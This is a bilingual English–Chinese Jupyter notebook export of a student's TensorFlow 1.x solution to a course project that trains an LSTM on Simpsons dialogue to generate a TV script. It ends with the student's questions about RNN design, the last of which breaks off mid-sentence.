\u68c0\u67e5TensorFlow\u7684\u7248\u672c\u5e76GPU\u8bbf\u95ee\u6743\u9650\n\n# In[7]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nfrom distutils.version import LooseVersion\nimport warnings\nimport tensorflow as tf\n\n# Check TensorFlow Version\nassert LooseVersion(tf.__version__) >= LooseVersion('1.0'), 'Please use TensorFlow version 1.0 or newer'\nprint('TensorFlow Version: {}'.format(tf.__version__))\n\n# Check for a GPU\nif not tf.test.gpu_device_name():\n    warnings.warn('No GPU found. Please use a GPU to train your neural network.')\nelse:\n    print('Default GPU Device: {}'.format(tf.test.gpu_device_name()))\n\n\n# ### Input\n# ### \u8f93\u5165\n# \n# Implement the `get_inputs()` function to create TF Placeholders for the Neural Network.  It should create the following placeholders:\n# \n# \u5b9e\u73b0`get_inputs\uff08\uff09`\u51fd\u6570\u5e76\u4e3a\u795e\u7ecf\u7f51\u7edc\u521b\u5efaTF\u5360\u4f4d\u7b26\u3002 \u5b83\u5e94\u8be5\u521b\u5efa\u4ee5\u4e0b\u5360\u4f4d\u7b26\uff1a\n# \n# - Input text placeholder named \"input\" using the [TF Placeholder](https://www.tensorflow.org/api_docs/python/tf/placeholder) `name` parameter.\n# - Targets placeholder\n# - Learning Rate placeholder\n# \n# Return the placeholders in the following tuple `(Input, Targets, LearningRate)`\n# \n# \u4ee5\u5143\u7ec4\u7684\u5f62\u5f0f`\uff08Input\uff0cTargets\uff0cLearningRate\uff09`\u8fd4\u56de\u5360\u4f4d\u7b26\n\n# In[8]:\n\n\ndef get_inputs():\n    \"\"\"\n    Create TF Placeholders for input, targets, and learning rate.\n    :return: Tuple (input, targets, learning rate)\n    \"\"\"\n    # TODO: Implement Function\n    Input = tf.placeholder(tf.int32, [None, None], name=\"input\")\n    Targets = tf.placeholder(tf.int32, [None, None], name=\"target\")\n    LearningRate = tf.placeholder(tf.float32, name=\"learning_rate\")\n    \n    return (Input,Targets,LearningRate)\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_get_inputs(get_inputs)\n\n\n# In[9]:\n\n\ndef get_keep_prob():\n    keep_prob = tf.placeholder(tf.float32, name=\"keep_prob\")\n    return keep_prob\n\n\n# ### Build RNN Cell and Initialize\n# ### \u6784\u5efaRNN\u5355\u5143\u5e76\u521d\u59cb\u5316\n# \n# Stack one or more [`BasicLSTMCells`](https://www.tensorflow.org/api_docs/python/tf/contrib/rnn/BasicLSTMCell) in a [`MultiRNNCell`](https://www.tensorflow.org/api_docs/python/tf/contrib/rnn/MultiRNNCell).\n# \n# \u5c06\u4e00\u4e2a\u6216\u591a\u4e2a[`BasicLSTMCells`](https://www.tensorflow.org/api_docs/python/tf/contrib/rnn/BasicLSTMCell)\u6dfb\u52a0\u5230[`MultiRNNCell`](https://www.tensorflow.org/api_docs/python/tf/contrib/rnn/MultiRNNCell)\u3002\n# \n# - The Rnn size should be set using `rnn_size`\uff08Rnn\u5927\u5c0f\u5e94\u8be5\u4f7f\u7528`rnn_size`\u8bbe\u7f6e\uff09\n# - Initalize Cell State using the MultiRNNCell's [`zero_state()`](https://www.tensorflow.org/api_docs/python/tf/contrib/rnn/MultiRNNCell#zero_state) function\uff08\u4f7f\u7528MultiRNNCell\u51fd\u6570 [`zero_state()`](https://www.tensorflow.org/api_docs/python/tf/contrib/rnn/MultiRNNCell#zero_state)\u521d\u59cb\u5316\u5355\u5143\u72b6\u6001\n# - Apply the name \"initial_state\" to the initial state using [`tf.identity()`](https://www.tensorflow.org/api_docs/python/tf/identity)\uff08\u4f7f\u7528[`tf.identity()`](https://www.tensorflow.org/api_docs/python/tf/identity)\u5c06\u540d\u79f0\u201cinitial_state\u201d\u5e94\u7528\u4e8e\u521d\u59cb\u72b6\u6001\uff09\n# \n# Return the cell and initial state in the following tuple `(Cell, InitialState)`\n# \n# \u5728\u4e0b\u9762\u7684\u5143\u7ec4`\uff08Cell\uff0cInitialState\uff09`\u4e2d\u8fd4\u56de\u5355\u5143\u683c\u548c\u521d\u59cb\u72b6\u6001\n\n# In[10]:\n\n\ndef get_init_cell(batch_size, rnn_size, keep_probablity=None):\n    \"\"\"\n    Create an RNN Cell and initialize it.\n    :param batch_size: Size of batches\n    :param rnn_size: Size of RNNs\n    :return: Tuple (cell, initialize state)\n    \"\"\"\n    # TODO: Implement Function\n    lstm_layers = 1\n    \n    lstm = tf.contrib.rnn.BasicLSTMCell(rnn_size)\n    if keep_probablity == None :\n        keep_probablity = get_keep_prob()\n    \n    dorp = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob = keep_probablity)\n    \n    cells = tf.contrib.rnn.MultiRNNCell([dorp]*lstm_layers)\n    \n    init_state = tf.identity(cells.zero_state(batch_size, tf.float32), name=\"initial_state\")  # lstm\u7684zero_state\u4e0ebatch_size\u6709\u4ec0\u4e48\u5173\u7cfb\uff1f\n    return (cells, init_state)\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_get_init_cell(get_init_cell)\n\n\n# ### Word Embedding\n# ### \u5355\u8bcd\u5d4c\u5165\n# \n# Apply embedding to `input_data` using TensorFlow.  Return the embedded sequence.\n# \n# \u4f7f\u7528TensorFlow\u5c06\u5d4c\u5165\u5e94\u7528\u4e8e`input_data`\u3002 \u8fd4\u56de\u5d4c\u5165\u7684\u5e8f\u5217\u3002\n\n# In[11]:\n\n\ndef get_embed(input_data, vocab_size, embed_dim):\n    \"\"\"\n    Create embedding for <input_data>.\n    :param input_data: TF placeholder for text input.\n    :param vocab_size: Number of words in vocabulary.\n    :param embed_dim: Number of embedding dimensions\n    :return: Embedded input.\n    \"\"\"\n    # TODO: Implement Function\n    embedding = tf.Variable(tf.random_uniform((vocab_size, embed_dim), minval=-1, maxval=1)) \n    embed = tf.nn.embedding_lookup(embedding, input_data)\n    \n    return embed\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_get_embed(get_embed)\n\n\n# ### Build RNN\n# ### \u6784\u5efaRNN\n# \n# You created a RNN Cell in the `get_init_cell()` function.  Time to use the cell to create a RNN.\n# \n# \u60a8\u5728`get_init_cell\uff08\uff09`\u51fd\u6570\u4e2d\u521b\u5efa\u4e86\u4e00\u4e2aRNN\u5355\u5143\u3002 \u662f\u65f6\u5019\u4f7f\u7528\u5355\u5143\u6765\u521b\u5efa\u4e00\u4e2aRNN\u4e86\u3002\n# \n# - Build the RNN using the [`tf.nn.dynamic_rnn()`](https://www.tensorflow.org/api_docs/python/tf/nn/dynamic_rnn)\uff08\u4f7f\u7528[`tf.nn.dynamic_rnn()`](https://www.tensorflow.org/api_docs/python/tf/nn/dynamic_rnn)\u6784\u5efaRNN\uff09\n# - Apply the name \"final_state\" to the final state using [`tf.identity()`](https://www.tensorflow.org/api_docs/python/tf/identity)\uff08\u4f7f\u7528 [`tf.identity()`](https://www.tensorflow.org/api_docs/python/tf/identity)\u5c06\u540d\u79f0\"final_state\"\u7528\u4e8e\u6700\u7ec8\u72b6\u6001\uff09\n# \n# Return the outputs and final_state state in the following tuple `(Outputs, FinalState)` \n# \n# \u5728\u4e0b\u9762\u7684\u5143\u7ec4\uff08`Outputs\uff0cFinalState\uff09`\u4e2d\u8fd4\u56de\u8f93\u51fa\u548cfinal_state\u72b6\u6001\n\n# In[12]:\n\n\ndef build_rnn(cell, inputs):\n    \"\"\"\n    Create a RNN using a RNN Cell\n    :param cell: RNN Cell\n    :param inputs: Input text data\n    :return: Tuple (Outputs, Final State)\n    \"\"\"\n    # TODO: Implement Function\n    \n    Outputs, Final_State = tf.nn.dynamic_rnn(cell, inputs, dtype=tf.float32)\n    Final_State = tf.identity(Final_State, name=\"final_state\")\n    return Outputs, Final_State\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_build_rnn(build_rnn)\n\n\n# ### Build the Neural Network\n# ### \u6784\u5efa\u795e\u7ecf\u7f51\u7edc\n# \n# Apply the functions you implemented above to:\n# \n# \u5c06\u4ee5\u4e0a\u5b9e\u73b0\u7684\u529f\u80fd\u5e94\u7528\u4e8e\uff1a\n# \n# - Apply embedding to `input_data` using your `get_embed(input_data, vocab_size, embed_dim)` function.\uff08\u4f7f\u7528`get_embed\uff08input_data\uff0cvocab_size\uff0cembed_dim\uff09`\u51fd\u6570\u5c06\u5d4c\u5165\u5e94\u7528\u4e8e`input_data`\u3002\uff09\n# - Build RNN using `cell` and your `build_rnn(cell, inputs)` function.\uff08\u4f7f\u7528`cell`\u548c\u4f60\u7684`build_rnn\uff08cell\uff0cinputs\uff09`\u51fd\u6570\u5efa\u7acbRNN\u3002\uff09\n# - Apply a fully connected layer with a linear activation and `vocab_size` as the number of outputs.\uff08\u5e94\u7528\u7ebf\u6027\u6fc0\u6d3b\u51fd\u6570\u7684\u5168\u8fde\u63a5\u56fe\u5c42\uff0c\u4f7f\u7528`vocab_size`\u4f5c\u4e3a\u8f93\u51fa\u7684\u6570\u91cf\u3002\uff09\n# \n# Return the logits and final state in the following tuple (Logits, FinalState) \n# \n# \u8fd4\u56de\u4e0b\u5217\u5143\u7ec4\u4e2d\u7684logits\u548cfinal\u72b6\u6001\uff08Logits\uff0cFinalState\uff09\n\n# In[13]:\n\n\ndef build_nn(cell, rnn_size, input_data, vocab_size, embed_dim):\n    \"\"\"\n    Build part of the neural network\n    :param cell: RNN cell\n    :param rnn_size: Size of rnns\n    :param input_data: Input data\n    :param vocab_size: Vocabulary size\n    :param embed_dim: Number of embedding dimensions\n    :return: Tuple (Logits, FinalState)\n    \"\"\"\n    # TODO: Implement Function\n    embed = get_embed(input_data, vocab_size, embed_dim)\n    \n    outputs, final_state = build_rnn(cell, embed)\n\n    logits = tf.contrib.layers.fully_connected(outputs, vocab_size, activation_fn=None)\n  \n    return logits, final_state\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_build_nn(build_nn)\n\n\n# ### Batches\n# ### \u5206\u6279\n# \n# Implement `get_batches` to create batches of input and targets using `int_text`.  The batches should be a Numpy array with the shape `(number of batches, 2, batch size, sequence length)`. Each batch contains two elements:\n# \n# \u4f7f\u7528`int_text`\u5b9e\u73b0`get_batches`\u6765\u521b\u5efa\u6279\u91cf\u7684\u8f93\u5165\u548c\u76ee\u6807\u3002 \u6279\u6b21\u5e94\u8be5\u662f\u4e00\u4e2a\u5f62\u72b6\u4e3a`(number of batches, 2, batch size, sequence length)`\u7684Numpy\u6570\u7ec4\u3002 \u6bcf\u4e2a\u6279\u6b21\u5305\u542b\u4e24\u4e2a\u5143\u7d20\uff1a\n# \n# - The first element is a single batch of **input** with the shape `[batch size, sequence length]`\n# - The second element is a single batch of **targets** with the shape `[batch size, sequence length]`\n# \n# If you can't fill the last batch with enough data, drop the last batch.\n# \n# \u5982\u679c\u4e0d\u80fd\u7528\u8db3\u591f\u7684\u6570\u636e\u586b\u5145\u6700\u540e\u4e00\u6279\uff0c\u8bf7\u5220\u9664\u6700\u540e\u4e00\u6279\u3002\n# \n# For exmple, `get_batches([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15], 2, 3)` would return a Numpy array of the following:\n# ```\n# [\n#   # First Batch\n#   [\n#     # Batch of Input\n#     [[ 1  2  3], [ 7  8  9]],\n#     # Batch of targets\n#     [[ 2  3  4], [ 8  9 10]]\n#   ],\n#  \n#   # Second Batch\n#   [\n#     # Batch of Input\n#     [[ 4  5  6], [10 11 12]],\n#     # Batch of targets\n#     [[ 5  6  7], [11 12 13]]\n#   ]\n# ]\n# ```\n\n# In[14]:\n\n\ndef get_batches(int_text, batch_size, seq_length):\n    \"\"\"\n    Return batches of input and target\n    :param int_text: Text with the words replaced by their ids\n    :param batch_size: The size of batch\n    :param seq_length: The length of sequence\n    :return: Batches as a Numpy array\n    \"\"\"\n    # TODO: Implement Function\n    \n    words_per_batch = batch_size * seq_length\n    \n    n_batches = len(int_text) // words_per_batch\n    \n    arr = np.array(int_text[:words_per_batch * n_batches])\n    arr = arr.reshape([batch_size,-1])\n    \n    batches =  []\n    for n in range(0, arr.shape[1], seq_length):\n        x = arr[:, n:n+seq_length]\n        y = np.zeros_like(x)\n        if n+seq_length >= arr.shape[1]:\n            idx = 0\n        else:\n            idx = n+seq_length\n        y[:,:-1],y[:, -1]  = x[:, 1:], arr[:, idx]\n        batches.append([x,y])\n        \n    batches = np.array(batches)\n    return batches\n\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_get_batches(get_batches)\n\n\n# ## Neural Network Training\n# ## \u795e\u7ecf\u7f51\u7edc\u7684\u8bad\u7ec3\n# ### Hyperparameters\n# ### \u8d85\u53c2\u6570\n# Tune the following parameters:\n# \n# \u8c03\u6574\u4e0b\u9762\u7684\u53c2\u6570\uff1a\n# \n# - Set `num_epochs` to the number of epochs.\n# - Set `batch_size` to the batch size.\n# - Set `rnn_size` to the size of the RNNs.\n# - Set `embed_dim` to the size of the embedding.\n# - Set `seq_length` to the length of sequence.\n# - Set `learning_rate` to the learning rate.\n# - Set `show_every_n_batches` to the number of batches the neural network should print progress.\n\n# In[15]:\n\n\n# Number of Epochs\nnum_epochs = 100\n# Batch Size\nbatch_size = 128\n# RNN Size\nrnn_size = 1024\n# Embedding Dimension Size\nembed_dim = 256\n# Sequence Length\nseq_length = 15\n# Learning Rate\nlearning_rate = 0.003\n# Show stats for every n number of batches\nshow_every_n_batches = 10\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\nsave_dir = './save'\n\n\n# ### Build the Graph\n# ### \u6784\u5efa\u56fe\n# Build the graph using the neural network you implemented.\n# \n# \u4f7f\u7528\u60a8\u5b9e\u65bd\u7684\u795e\u7ecf\u7f51\u7edc\u6765\u6784\u5efa\u56fe\u3002\n\n# In[16]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nfrom tensorflow.contrib import seq2seq\n\ntrain_graph = tf.Graph()\nwith train_graph.as_default():\n    vocab_size = len(int_to_vocab)\n    input_text, targets, lr = get_inputs()\n    keep_prob = get_keep_prob()\n    input_data_shape = tf.shape(input_text)\n    cell, initial_state = get_init_cell(input_data_shape[0], rnn_size, keep_prob)\n    logits, final_state = build_nn(cell, rnn_size, input_text, vocab_size, embed_dim)\n\n    # Probabilities for generating words\n    probs = tf.nn.softmax(logits, name='probs')\n\n    # Loss function\n    cost = seq2seq.sequence_loss(\n        logits,\n        targets,\n        tf.ones([input_data_shape[0], input_data_shape[1]]))\n\n    # Optimizer\n    optimizer = tf.train.AdamOptimizer(lr)\n\n    # Gradient Clipping\n    gradients = optimizer.compute_gradients(cost)\n    capped_gradients = [(tf.clip_by_value(grad, -1., 1.), var) for grad, var in gradients if grad is not None]\n    train_op = optimizer.apply_gradients(capped_gradients)\n\n\n# ## Train\n# ## \u8bad\u7ec3\n# Train the neural network on the preprocessed data.  If you have a hard time getting a good loss, check the [forms](https://discussions.udacity.com/) to see if anyone is having the same problem.\n# \n# \u5728\u9884\u5904\u7406\u7684\u6570\u636e\u4e0a\u8bad\u7ec3\u795e\u7ecf\u7f51\u7edc\u3002 \u5982\u679c\u60a8\u5f88\u96be\u83b7\u5f97\u826f\u597d\u7684\u635f\u5931\uff0c\u8bf7\u67e5\u770b[forms](https://discussions.udacity.com/)\uff0c\u770b\u770b\u662f\u5426\u6709\u4eba\u9047\u5230\u540c\u6837\u7684\u95ee\u9898\u3002\n# \n\n# In[17]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nbatches = get_batches(int_text, batch_size, seq_length)\n\nwith tf.Session(graph=train_graph) as sess:\n    sess.run(tf.global_variables_initializer())\n\n    for epoch_i in range(num_epochs):\n        state = sess.run(initial_state, {input_text: batches[0][0]})\n\n        for batch_i, (x, y) in enumerate(batches):\n            feed = {\n                input_text: x,\n                targets: y,\n                initial_state: state,\n                lr: learning_rate,\n                keep_prob:0.7}\n            train_loss, state, _ = sess.run([cost, final_state, train_op], feed)\n\n            # Show every <show_every_n_batches> batches\n            if (epoch_i * len(batches) + batch_i) % show_every_n_batches == 0:\n                print('Epoch {:>3} Batch {:>4}/{}   train_loss = {:.3f}'.format(\n                    epoch_i,\n                    batch_i,\n                    len(batches),\n                    train_loss))\n\n    # Save Model\n    saver = tf.train.Saver()\n    saver.save(sess, save_dir)\n    print('Model Trained and Saved')\n\n\n# ## Save Parameters\n# ## \u4fdd\u5b58\u53c2\u6570\n# Save `seq_length` and `save_dir` for generating a new TV script.\n# \n# \u4fdd\u5b58`seq_length`\u548c`save_dir`\u6765\u751f\u6210\u4e00\u4e2a\u65b0\u7684TV\u811a\u672c\u3002\n# \n\n# In[18]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\n# Save parameters for checkpoint\nhelper.save_params((seq_length, save_dir))\n\n\n# # Checkpoint\n# # \u68c0\u67e5\u70b9\n\n# In[19]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nimport tensorflow as tf\nimport numpy as np\nimport helper\nimport problem_unittests as tests\n\n_, vocab_to_int, int_to_vocab, token_dict = helper.load_preprocess()\nseq_length, load_dir = helper.load_params()\n\n\n# ## Implement Generate Functions\n# ## \u5b9e\u73b0\u751f\u6210\u51fd\u6570\n# ### Get Tensors\n# ### \u83b7\u53d6Tensors\n# Get tensors from `loaded_graph` using the function [`get_tensor_by_name()`](https://www.tensorflow.org/api_docs/python/tf/Graph#get_tensor_by_name).  Get the tensors using the following names:\n# \n# \u4f7f\u7528\u51fd\u6570[`get_tensor_by_name()`](https://www.tensorflow.org/api_docs/python/tf/Graph#get_tensor_by_name)\u4ece`loaded_graph`\u83b7\u53d6\u5f20\u91cf\u3002 \u4f7f\u7528\u4ee5\u4e0b\u540d\u79f0\u83b7\u53d6\u5f20\u91cf\uff1a\n# \n# - \"input:0\"\n# - \"initial_state:0\"\n# - \"final_state:0\"\n# - \"probs:0\"\n# \n# Return the tensors in the following tuple `(InputTensor, InitialStateTensor, FinalStateTensor, ProbsTensor)` \n# \n# \u8fd4\u56de\u4ee5\u4e0b\u5143\u7ec4\u4e2d\u7684\u5f20\u91cf`\uff08InputTensor\uff0cInitialStateTensor\uff0cFinalStateTensor\uff0cProbsTensor\uff09`\n\n# In[20]:\n\n\ndef get_tensors(loaded_graph):\n    \"\"\"\n    Get input, initial state, final state, and probabilities tensor from <loaded_graph>\n    :param loaded_graph: TensorFlow graph loaded from file\n    :return: Tuple (InputTensor, InitialStateTensor, FinalStateTensor, ProbsTensor)\n    \"\"\"\n    # TODO: Implement Function\n    input_tensor = loaded_graph.get_tensor_by_name('input:0')\n    init_state_tensor = loaded_graph.get_tensor_by_name('initial_state:0')\n    final_state_tensor = loaded_graph.get_tensor_by_name('final_state:0')\n    probs_tensor = loaded_graph.get_tensor_by_name('probs:0')\n    \n    return input_tensor, init_state_tensor, final_state_tensor, probs_tensor\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_get_tensors(get_tensors)\n\n\n# In[21]:\n\n\ndef get_keep_porob_tensors(loaded_graph):\n    keep_prob = loaded_graph.get_tensor_by_name('keep_prob:0')\n    return keep_prob\n\n\n# ### Choose Word\n# ### \u9009\u62e9\u5355\u8bcd\n# \n# Implement the `pick_word()` function to select the next word using `probabilities`.\n# \n# \u5b9e\u73b0`pick_word\uff08\uff09`\u51fd\u6570\u6765\u4f7f\u7528`probabilities`\u9009\u62e9\u4e0b\u4e00\u4e2a\u5355\u8bcd\u3002\n\n# In[22]:\n\n\ndef pick_word(probabilities, int_to_vocab):\n    \"\"\"\n    Pick the next word in the generated text\n    :param probabilities: Probabilites of the next word\n    :param int_to_vocab: Dictionary of word ids as the keys and words as the values\n    :return: String of the predicted word\n    \"\"\"\n    # TODO: Implement Function\n    idx = np.argmax(probabilities)\n    return int_to_vocab[idx]\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_pick_word(pick_word)\n\n\n# ## Generate TV Script\n# ## \u751f\u6210\u7535\u89c6 \u5267\u672c\n# This will generate the TV script for you.  Set `gen_length` to the length of TV script you want to generate.\n# \n# \u8fd9\u5c06\u4e3a\u60a8\u751f\u6210\u7535\u89c6\u5267\u3002 \u5c06`gen_length`\u8bbe\u7f6e\u4e3a\u60a8\u60f3\u8981\u751f\u6210\u7684\u7535\u89c6\u5267\u7684\u957f\u5ea6\u3002\n\n# In[23]:\n\n\ngen_length = 200\n# homer_simpson, moe_szyslak, or Barney_Gumble\nprime_word = 'moe_szyslak'\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\nloaded_graph = tf.Graph()\nwith tf.Session(graph=loaded_graph) as sess:\n    # Load saved model\n    loader = tf.train.import_meta_graph(load_dir + '.meta')\n    loader.restore(sess, load_dir)\n\n    # Get Tensors from loaded model\n    input_text, initial_state, final_state, probs = get_tensors(loaded_graph)\n    keep_prob = get_keep_porob_tensors(loaded_graph)\n\n    # Sentences generation setup\n    gen_sentences = [prime_word + ':']\n    prev_state = sess.run(initial_state, {input_text: np.array([[1]])})\n\n    # Generate sentences\n    for n in range(gen_length):\n        # Dynamic Input\n        dyn_input = [[vocab_to_int[word] for word in gen_sentences[-seq_length:]]]\n        dyn_seq_length = len(dyn_input[0])\n\n        # Get Prediction\n        probabilities, prev_state = sess.run(\n            [probs, final_state],\n            {input_text: dyn_input, initial_state: prev_state, keep_prob:1})\n        \n        pred_word = pick_word(probabilities[dyn_seq_length-1], int_to_vocab)\n\n        gen_sentences.append(pred_word)\n    \n    # Remove tokens\n    tv_script = ' '.join(gen_sentences)\n    for key, token in token_dict.items():\n        ending = ' ' if key in ['\\n', '(', '\"'] else ''\n        tv_script = tv_script.replace(' ' + token.lower(), key)\n    tv_script = tv_script.replace('\\n ', '\\n')\n    tv_script = tv_script.replace('( ', '(')\n        \n    print(tv_script)\n\n\n# # The TV Script is Nonsensical\n# # \u7535\u89c6\u5267\u672c\u662f\u65e0\u610f\u4e49\u7684\n# \n# It's ok if the TV script doesn't make any sense.  We trained on less than a megabyte of text.  In order to get good results, you'll have to use a smaller vocabulary or get more data.  Luckly there's more data!  As we mentioned in the begging of this project, this is a subset of [another dataset](https://www.kaggle.com/wcukierski/the-simpsons-by-the-data).  We didn't have you train on all the data, because that would take too long.  However, you are free to train your neural network on all the data.  After you complete the project, of course.\n# \n# \u5982\u679c\u7535\u89c6\u5267\u672c\u6ca1\u6709\u4efb\u4f55\u610f\u4e49\u7684\u8bdd\uff0c\u90a3\u4e5f\u6ca1\u5173\u7cfb\u3002 \u6211\u4eec\u8bad\u7ec3\u4e86\u4e0d\u5230\u4e00\u5146\u5b57\u8282\u7684\u6587\u672c\u3002 \u4e3a\u4e86\u83b7\u5f97\u597d\u7684\u7ed3\u679c\uff0c\u4f60\u5c06\u4e0d\u5f97\u4e0d\u4f7f\u7528\u66f4\u5c0f\u7684\u8bcd\u6c47\u91cf\u6216\u83b7\u5f97\u66f4\u591a\u7684\u6570\u636e\u3002 \u5e78\u8fd0\u7684\u662f\uff0c\u8fd8\u6709\u66f4\u591a\u7684\u6570\u636e\uff01 \u6b63\u5982\u6211\u4eec\u5728\u8fd9\u4e2a\u9879\u76ee\u8ba8\u8bba\u4e2d\u63d0\u5230\u7684\u90a3\u6837\uff0c\u8fd9\u662f[\u53e6\u4e00\u4e2a\u6570\u636e\u96c6](https://www.kaggle.com/wcukierski/the-simpsons-by-the-data)\u7684\u4e00\u4e2a\u5b50\u96c6\u3002 \u6211\u4eec\u6ca1\u6709\u8bad\u7ec3\u6240\u6709\u7684\u6570\u636e\uff0c\u56e0\u4e3a\u8fd9\u5c06\u82b1\u8d39\u592a\u957f\u65f6\u95f4\u3002 \u4f46\u662f\uff0c\u60a8\u53ef\u4ee5\u81ea\u7531\u5730\u5728\u6240\u6709\u6570\u636e\u4e0a\u8bad\u7ec3\u60a8\u7684\u795e\u7ecf\u7f51\u7edc\u3002 \u5f53\u7136\uff0c\u5728\u4f60\u5b8c\u6210\u8fd9\u4e2a\u9879\u76ee\u4e4b\u540e\u3002...\n# \n# # Submitting This Project\n# # \u63d0\u4ea4\u9879\u76ee\n# \n# When submitting this project, make sure to run all the cells before saving the notebook. Save the notebook file as \"dlnd_tv_script_generation.ipynb\" and save it as a HTML file under \"File\" -> \"Download as\". Include the \"helper.py\" and \"problem_unittests.py\" files in your submission.\n# \n# \u63d0\u4ea4\u6b64\u9879\u76ee\u65f6\uff0c\u8bf7\u786e\u4fdd\u5728\u4fdd\u5b58\u7b14\u8bb0\u672c\u4e4b\u524d\u8fd0\u884c\u6240\u6709\u5355\u5143\u3002 \u5c06\u7b14\u8bb0\u672c\u6587\u4ef6\u4fdd\u5b58\u4e3a\u201cdlnd_tv_script_generation.ipynb\u201d\uff0c\u5e76\u5c06\u5176\u4fdd\u5b58\u4e3a\u201c\u6587\u4ef6\u201d - >\u201c\u4e0b\u8f7d\u4e3a\u201d\u4e0b\u7684HTML\u6587\u4ef6\u3002 \u5728\u63d0\u4ea4\u4e2d\u5305\u542b\u201chelper.py\u201d\u548c\u201cproblem_unittests.py\u201d\u6587\u4ef6\u3002\n\n# ## \u95ee\u9898\n# 1. lstm\u7684zero_state\u4e0ebatch_size\u6709\u4ec0\u4e48\u5173\u7cfb\uff0c\u662f\u56e0\u4e3alstm\u4e2d\u7528\u4e8e\u957f\u65f6\u8bb0\u5fc6\u7684\u5355\u5143\u72b6\u6001\u7684size\u4e0ebatch_size\u6709\u5173\u4e48\uff1f\n# 2. embedding\u7684\u65f6\u5019\u4e3a\u4ec0\u4e48\u5927\u90e8\u5206\u8d44\u6599\u90fd\u4f7f\u7528random_normal\uff0c\u800c\u4e0d\u7528tf.truncated_normal,stddev=0.1\u6765\u521d\u59cb\u5316\u6743\u91cd\uff1f\n# 3. \u4e3a\u4ec0\u4e48\u5355\u5c42RNN\u7f51\u7edc\u6548\u679c\u6bd4\u591a\u5c42\u7684RNN\u7f51\u7edc\u6548\u679c\u597d\uff0c\u4ec0\u4e48\u60c5\u51b5\u4e0b\u9002\u5408\u4f7f\u7528\u591a\u5c42\u7684RNN\u7f51\u7edc\uff1f\n# 4. \u7591\u60d1\u5f88\u4e45\u7684\u95ee\u9898\uff0c\u5c31\u8be5\u9879\u76ee\u63cf\u8ff0\u4e0b\u6211\u5bf9\u4e8eRNN\u7f51\u7edc\u7684\u7406\u89e3\uff0c\u5047\u8bbe\u4e00\u4e2aRNN\u7f51\u7edc\u7684\u7269\u7406\u7ed3\u6784\u67091\u4e2aembedding\u5c42\u30013\u4e2aLSTM\u5c42\uff08n\u4e2acell\uff09\u548c\u6700\u540e\u76841\u4e2a\u5168\u8fde\u63a5\u5c42\uff0c\u6bcf\u6b21\u7684\u8f93\u5165\u662f\u4e00\u4e2a\u5355\u8bcd\uff0c\u7528\u4e8e\u9884\u6d4b\u4e0b\u4e00\u4e2a\u5355\u8bcd\uff0c\u5c31\u662f\u8bf4\u53ea\u6709\u5728\u5f53\u524d\u5355\u8bcd\u8f93\u5165\u4e4b\u540e\u624d\u80fd\u8f93\u5165\u4e0b\u4e00\u4e2a\u5355\u8bcd\uff0c\u5426\u5219\u7f51\u7edc\u7b49\u4e8e\u6ca1\u6709\u5b66\u4e60\u5f53\u524d\u5355\u8bcd\u53ca\u5176\u5e8f\u5217\u5173\u7cfb\uff0c\u5728\u5bf9RNN\u7f51\u7edc\u6309\u65f6\u95f4\u5c55\u5f00\u540e\uff0c\u6bcf\u6b21\u53ef\u4ee5\u8f93\u5165\u4e00\u4e2aseq_length\u957f\u5ea6\u4e2a\u5355\u8bcd\uff0c\u8f93\u51fa\u53e6\u5916\u4e00\u4e2aseq_length\u957f\u5ea6\u7684\u5355\u8bcd\uff0c\u5728\u5c55\u5f00\u540e\u7684\u7f51\u7edc\u4e2d\uff0c\u5b9e\u9645\u5e94\u8be5\u6709\u5e76\u884c\u7684seq_length\u4e2aRNN\u7f51\u7edc\uff0c\u4e5f\u5c31\u6709seq_length\u4e2a\u5168\u8fde\u63a5\u5c42\uff08\u6bcf\u6b21\u65f6\u95f4\u70b9\u4e00\u4e2a\uff09\uff0c\u90a3\u4e48\u4e3a\u4ec0\u4e48\u5728\u9879\u76ee\u4e2ddynamic_rnn\u4e4b\u540e\u53ea\u5efa\u7acb\u4e86\u4e00\u4e2a\u5168\u8fde\u63a5\u5c42\uff0c\u4e0d\u662fseq_length\u4e2a\u5168\u8fde\u63a5\u5c42\uff0c\u800c\u8f93\u5165\u5168\u8fde\u63a5\u5c42\u7684\u6570\u636e\u662f\u5305\u542b\u6279\u6b21\u548c\u5e8f\u5217\u4fe1\u606f\u7684dynamic_rnn\u7684\u6240\u6709\u8f93\u51fa\uff0c\u8fd9\u91cc\u592a\u5bb9\u6613\u8ba9\u4eba\u6df7\u6dc6\u4e86\u3002\u53e6\u5916\uff0c 